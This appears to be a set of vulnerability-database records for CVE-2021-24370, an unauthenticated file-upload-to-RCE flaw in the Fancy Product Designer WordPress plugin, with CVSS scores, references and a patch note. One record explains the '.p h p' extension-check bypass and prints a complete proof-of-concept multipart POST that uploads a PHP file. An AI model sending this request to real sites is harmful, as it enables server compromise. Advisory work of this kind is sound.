The plugin allows unauthenticated attackers to upload arbitrary files, resulting in remote code execution. The issue is being actively exploited, and no patch is available. Further details will be made available once pathed.
{"id": "WPEX-ID:82C52461-1FDC-41E4-9F51-F9DD84962B38", "type": "wpexploit", "bulletinFamily": "exploit", "title": "Fancy Product Designer < 4.6.9 - Unauthenticated Arbitrary File Upload and RCE", "description": "The plugin allows unauthenticated attackers to upload arbitrary files, resulting in remote code execution. The issue is being actively exploited, and no patch is available. Further details will be made available once pathed.\n", "published": "2021-06-01T00:00:00", "modified": "2021-06-25T07:09:02", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 7.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 10.0, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, "href": "", "reporter": "Ramuel Gall", "references": ["https://www.wordfence.com/blog/2021/06/critical-0-day-in-fancy-product-designer-under-active-attack/"], "cvelist": ["CVE-2021-24370"], "immutableFields": [], "lastseen": "2021-09-14T23:36:47", "viewCount": 79, "enchantments": {"dependencies": {"references": [{"type": "attackerkb", "idList": ["AKB:5839DBD3-BEB4-4E11-BC07-56B3F78673D1"]}, {"type": "cve", "idList": ["CVE-2021-24370"]}, {"type": "patchstack", "idList": ["PATCHSTACK:F73F7E86AE6985B48BAC0C80CF57F306"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:82C52461-1FDC-41E4-9F51-F9DD84962B38"]}]}, "score": {"value": 1.3, "vector": "NONE"}, "backreferences": {"references": [{"type": "attackerkb", "idList": ["AKB:5839DBD3-BEB4-4E11-BC07-56B3F78673D1"]}, {"type": "canvas", "idList": ["NGINX"]}, {"type": "cve", "idList": ["CVE-2021-24370"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:82C52461-1FDC-41E4-9F51-F9DD84962B38"]}]}, "exploitation": null, "vulnersScore": 1.3}, "sourceData": "The Custom Product Designer plugin for WordPress offers the ability for customers to upload images and PDF files via the custom-image-handler.php. On sites running Apache, this file must be loaded via the \u201cfpd_custom_uplod_file\u201d AJAX action, whereas on sites running NGINX this file can be accessed directly, as the .htaccess rule blocking access to this file will not be processed on NGINX.\r\n\r\nRegardless of how the file is accessed, it is possible to use the custom image handler to upload executable PHP files. This is possible because the FPD_Image_Utils::sanitize_filename method in fpd-image-utils checks for malicious extensions on the unsanitized version of the supplied filename. In other words, it\u2019s possible to supply a file with a \u201cfilename\u201d of \u201c.p h p\u201d or \u201c.p-h-p\u201d. Both of these pass the malicious file extension check, but are sanitized down to \u201c.php\u201d, and are added to the site in a filename with a unique id ending in PHP (e.g. 1d4609806ff0f4e89a3fb5fa35678fa0.php). \r\n\r\nAn example POST body is listed below though it would be good to not display it until the vulnerability has been patched:\r\n------WebKitFormBoundaryPq7qdNQ9shOFwW78\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nfpd_custom_uplod_file\r\n------WebKitFormBoundaryPq7qdNQ9shOFwW78\r\nContent-Disposition: form-data; name=\"uploadsDir\"\r\n\r\nuploads\r\n------WebKitFormBoundaryPq7qdNQ9shOFwW78\r\nContent-Disposition: form-data; name=\"uploadsDirURL\"\r\n\r\nuploads\r\n------WebKitFormBoundaryPq7qdNQ9shOFwW78\r\nContent-Disposition: form-data; name=\"saveOnServer\"\r\n\r\n1\r\n------WebKitFormBoundaryPq7qdNQ9shOFwW78\r\nContent-Disposition: form-data; name=\"pdf\"; filename=\"blah.p h p\"\r\nContent-Type: application/pdf\r\n\r\n<?php phpinfo();\r\n------WebKitFormBoundaryPq7qdNQ9shOFwW78--\r\n", "generation": 0, "_state": {"dependencies": 1660004461, "score": 1660007784}, "_internal": {"score_hash": "4ed4473c2b131e5b01ec078d2c0b7f3b"}}
{"wpvulndb": [{"lastseen": "2021-09-14T23:36:47", "description": "The plugin allows unauthenticated attackers to upload arbitrary files, resulting in remote code execution. The issue is being actively exploited, and no patch is available. Further details will be made available once pathed.\n\n### PoC\n\nThe Custom Product Designer plugin for WordPress offers the ability for customers to upload images and PDF files via the custom-image-handler.php. On sites running Apache, this file must be loaded via the \u201cfpd_custom_uplod_file\u201d AJAX action, whereas on sites running NGINX this file can be accessed directly, as the .htaccess rule blocking access to this file will not be processed on NGINX. Regardless of how the file is accessed, it is possible to use the custom image handler to upload executable PHP files. This is possible because the FPD_Image_Utils::sanitize_filename method in fpd-image-utils checks for malicious extensions on the unsanitized version of the supplied filename. In other words, it\u2019s possible to supply a file with a \u201cfilename\u201d of \u201c.p h p\u201d or \u201c.p-h-p\u201d. Both of these pass the malicious file extension check, but are sanitized down to \u201c.php\u201d, and are added to the site in a filename with a unique id ending in PHP (e.g. 1d4609806ff0f4e89a3fb5fa35678fa0.php). An example POST body is listed below though it would be good to not display it until the vulnerability has been patched: \\------WebKitFormBoundaryPq7qdNQ9shOFwW78 Content-Disposition: form-data; name=\"action\" fpd_custom_uplod_file \\------WebKitFormBoundaryPq7qdNQ9shOFwW78 Content-Disposition: form-data; name=\"uploadsDir\" uploads \\------WebKitFormBoundaryPq7qdNQ9shOFwW78 Content-Disposition: form-data; name=\"uploadsDirURL\" uploads \\------WebKitFormBoundaryPq7qdNQ9shOFwW78 Content-Disposition: form-data; name=\"saveOnServer\" 1 \\------WebKitFormBoundaryPq7qdNQ9shOFwW78 Content-Disposition: form-data; name=\"pdf\"; filename=\"blah.p h p\" Content-Type: application/pdf \n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-06-01T00:00:00", "type": "wpvulndb", "title": "Fancy Product Designer < 4.6.9 - Unauthenticated Arbitrary File Upload and RCE", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-24370"], "modified": "2021-06-25T07:09:02", "id": "WPVDB-ID:82C52461-1FDC-41E4-9F51-F9DD84962B38", "href": "https://wpscan.com/vulnerability/82c52461-1fdc-41e4-9f51-f9dd84962b38", "sourceData": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "cve": [{"lastseen": "2022-03-23T14:53:21", "description": "The Fancy Product Designer WordPress plugin before 4.6.9 allows unauthenticated attackers to upload arbitrary files, resulting in remote code execution.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-06-21T20:15:00", "type": "cve", "title": "CVE-2021-24370", "cwe": ["CWE-434"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-24370"], "modified": "2021-09-20T17:10:00", "cpe": [], "id": "CVE-2021-24370", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-24370", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": []}], "patchstack": [{"lastseen": "2022-06-01T19:32:07", "description": "Unauthenticated Arbitrary File Upload and Remote Code Execution (RCE) vulnerabilities discovered by WordFence in WordPress Fancy Product Designer premium plugin (versions <= 4.6.8).\n\n## Solution\n\n\r\n Update the WordPress Fancy Product Designer premium plugin to the latest available version (at least 4.6.9).\r\n ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-06-01T00:00:00", "type": "patchstack", "title": "WordPress Fancy Product Designer premium plugin <= 4.6.8 - Unauthenticated Arbitrary File Upload and Remote Code Execution (RCE) vulnerabilities", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-24370"], "modified": "2021-06-01T00:00:00", "id": "PATCHSTACK:F73F7E86AE6985B48BAC0C80CF57F306", "href": "https://patchstack.com/database/vulnerability/fancy-product-designer/wordpress-fancy-product-designer-premium-plugin-4-6-8-unauthenticated-arbitrary-file-upload-and-remote-code-execution-rce-vulnerabilities", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "attackerkb": [{"lastseen": "2022-08-10T17:38:06", "description": "The Fancy Product Designer WordPress plugin before 4.6.9 allows unauthenticated attackers to upload arbitrary files, resulting in remote code execution.\n\n \n**Recent assessments:** \n \nAssessed Attacker Value: 0 \nAssessed Attacker Value: 0Assessed Attacker Value: 0\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-06-21T00:00:00", "type": "attackerkb", "title": "CVE-2021-24370", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-24370"], "modified": "2021-06-26T00:00:00", "id": "AKB:5839DBD3-BEB4-4E11-BC07-56B3F78673D1", "href": "https://attackerkb.com/topics/tamdKaTn09/cve-2021-24370", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}]}